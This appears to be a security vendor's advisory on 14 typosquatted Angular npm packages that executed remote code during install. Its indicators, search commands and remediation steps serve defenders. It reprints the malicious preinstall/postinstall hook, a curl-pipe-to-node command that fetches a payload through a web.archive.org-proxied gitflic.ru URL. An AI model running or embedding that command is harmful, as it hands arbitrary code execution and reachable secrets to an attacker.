critical

CVE

Not assigned

CWE

CWE-506, CWE-829

Affected Surface

  • npm packages `@angularr/cli`, `@angularr/core`, `@angularr/router`, `@angulra/cli`, `@angulra/core`, `@anfular/core`, `@angulaar/cli`, `@qngular/core`, `@angupar/core`, `@anngular/core`, `@angulr/core`, `@abgular/core`, `@anguar/core`, and `@angulaar/core`
  • Developer workstations, CI runners, and agentic coding systems that installed the lookalike packages during the exposure window
  • Private registry caches and lockfiles that can keep removed tarballs or pinned names reachable after the public npm takedown

The most useful new package-registry story from the last 72 hours is not a single compromised maintainer account. It is a batch of 14 npm packages that tried to win on typing mistakes and then turned npm install into arbitrary code execution.

The package names sat one character away from Angular’s real scopes. Thirteen of the 14 packages were thin loaders. They did not need the victim to import anything or run an Angular build. The malicious code fired during dependency installation. The remaining package, @angulaar/cli, took a different path. It cloned the real Angular CLI, then swapped one dependency so that a mistyped install could resolve attacker-controlled code later in the MCP command path.

Affected package set

The batch split into three patterns:

PatternPackagesWhat changed
preinstall loader@angularr/cli, @angularr/core, @angularr/router, @angulra/cli, @angulra/coreRuns a remote curl ... | node pipeline before package installation completes
postinstall loader@anfular/core, @qngular/core, @angupar/core, @anngular/core, @angulr/core, @abgular/core, @anguar/core, @angulaar/coreRuns the same remote pipeline after package installation completes
dependency substitution@angulaar/cliClones the real Angular CLI but replaces the official MCP SDK dependency with @modelcontextprotocol/server@2.0.0

The versioning was part of the lure, not a random detail:

  • 11 packages used version 22.2.1, matching the live Angular CLI and Angular Core release number.
  • @angularr/core and @angulra/core used 1.0.67.
  • @angularr/router used 2.2.0.

Matching a real upstream version makes a quick lockfile scan less useful. A diff that shows 22.2.1 where you expect Angular 22.2.1 looks ordinary unless someone also notices the extra r, swapped ra, or doubled aa in the scope.

Thirteen packages were install-time loaders, not libraries

The common execution path was short:

{
  "preinstall": "curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node"
}

Or, in the second wave:

{
  "postinstall": "curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node"
}

That one line is enough to explain the risk:

  1. the bytes come from a mutable remote location, not from the npm tarball itself
  2. there is no hash, signature, or publisher-bound integrity check
  3. the response is piped straight into node, so the install host executes whatever that endpoint serves at that moment
  4. the fetch is fronted by web.archive.org, which means a naive allowlist that treats the Internet Archive as “safe infrastructure” still permits the payload fetch

This is why the packages mattered even if they were online only briefly. Any machine that resolved one of these names during that window ran attacker-selected JavaScript with the privileges of the installing user or CI runner.

At least one representative advisory, @angularr/cli, also notes extra outbound activity from src/analytics/analytics-collector.js after install. That matters because the package was not only a download cradle. It also included application code that could talk out over HTTPS once the dependency tree had accepted the squat.

@angulaar/cli used a different trick

@angulaar/cli did not rely on a curl | node install hook. Instead, it copied the real Angular CLI source and changed the dependency used by Angular’s MCP command handlers.

The malicious package replaced the official MCP SDK dependency with this manifest entry:

{
  "@modelcontextprotocol/server": "2.0.0"
}

Public analysis says the altered package also rewired imports in src/commands/mcp/cli.js and mcp-server.js to use that substituted dependency. The security consequence is different from the loader wave, but not smaller:

  • npm install @angulaar/cli can resolve and install whatever code exists under the attacker-chosen package name
  • any lifecycle scripts in that dependency run with installer privileges
  • later ng mcp execution loads that dependency in-process

So the typo is doing two jobs at once. First it wins the mistaken install. Then it smuggles an extra trust decision into the dependency tree under a package name that does not belong to the upstream Angular CLI.

Why the web.archive.org hop matters

Most package malware stories end with “it fetched a payload from an attacker domain.” This batch is more useful operationally because the payload URL looked like this:

https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js

That changes the detection problem:

  • egress logs may show web.archive.org, not gitflic.ru
  • coarse reputation-based network controls can allow the fetch by default
  • teams searching only for the package names can miss the more durable indicator, which is the proxied URL path and hellscripter account name

If your install pipeline allowlists public web destinations at all, this batch is a reminder that a high-reputation domain does not guarantee harmless bytes.

What to search for

Start with lockfiles and manifest files:

rg -n '@angularr/cli|@angularr/core|@angularr/router|@angulra/cli|@angulra/core|@anfular/core|@angulaar/cli|@qngular/core|@angupar/core|@anngular/core|@angulr/core|@abgular/core|@anguar/core|@angulaar/core' \
  package.json package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json

Then search for the delivery indicators that survive package takedown:

rg -n 'web\\.archive\\.org/web/https://gitflic\\.ru|gitflic\\.ru/project/hellscripter|@modelcontextprotocol/server' \
  package-lock.json pnpm-lock.yaml yarn.lock node_modules .npm _cacache ~/.npm 2>/dev/null

If you maintain a private registry or artifact cache, search there too. npm returning HTTP 404 now only tells you the public package is gone. It does not prove the tarball never reached your cache, build image, or local store.

Response guidance

Treat any install of one of these package names as a host compromise event, not a dependency hygiene issue.

  1. rebuild the affected workstation or runner from a known-good image
  2. rotate any credentials that the install environment could reach, including npm tokens, Git tokens, cloud credentials, SSH keys, and app secrets from .env files
  3. purge cached copies from local package stores, CI caches, and private registry mirrors
  4. add explicit scope or package deny rules for the 14 names above
  5. disable lifecycle scripts by default in CI unless a reviewed package explicitly requires them

The install-hook wave also gives defenders a more general detection lesson. Search for the payload path and the proxy pattern, not only for the exact typo. Names change easily. Delivery infrastructure tends to get reused.

Why this belongs on the AppSec queue

Typosquats are often dismissed as end-user phishing for developers. This batch is more direct than that. It reached the machines that hold source code, release credentials, cloud tokens, and agent runtime permissions. In a modern stack, those are application-security assets.

That is why the right question is not “would a user really mistype Angular?” The right question is “what secrets were reachable from the machine that installed the typo?” If the answer includes CI tokens, cloud credentials, or source repository access, this stops being a nuisance package story and becomes a straightforward build-environment compromise.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References